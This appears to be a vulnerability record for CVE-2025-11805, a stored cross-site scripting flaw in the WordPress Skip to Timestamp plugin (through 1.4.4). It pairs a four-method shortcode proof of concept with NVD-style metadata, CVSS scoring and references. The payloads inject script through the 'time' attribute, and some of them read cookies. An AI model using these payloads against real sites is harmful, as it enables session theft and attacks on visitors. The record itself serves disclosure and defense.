CVE-2025-11805

<!-- Stored XSS PoC for CVE-2025-11805 --> <!-- WordPress Skip to Timestamp Plugin <= 1.4.4 --> <!-- Method 1: Using event handler --> [skipto time="10 onerror=alert(document.domain)"] <!-- Method 2: Breaking out of attribute with quote injection --> [skipto time="10;alert('XSS');//"] <!-- Method 3: Using img tag with onerror --> [skipto time="10"><img src=x onerror=alert(document.cookie)>//"] <!-- Method 4: Using script tag injection --> [skipto time="10"></span><script>alert('Stored XSS');</script><span>"] <!-- Attacker injects one of the above shortcodes in a WordPress post --> <!-- Any user viewing the post will execute the malicious JavaScript -->

{"cve": {"id": "CVE-2025-11805", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:42.110", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Skip to Timestamp plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'skipto' shortcode in all versions up to, and including, 1.4.4. This is due to insufficient input sanitization and output escaping on the 'time' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/skip-to-timestamp/tags/1.4.4/skiptotimestamp.php#L74", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/skip-to-timestamp/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/48e62d66-d058-419c-93cf-0cb890177751?source=cve", "source": "[email protected]"}]}}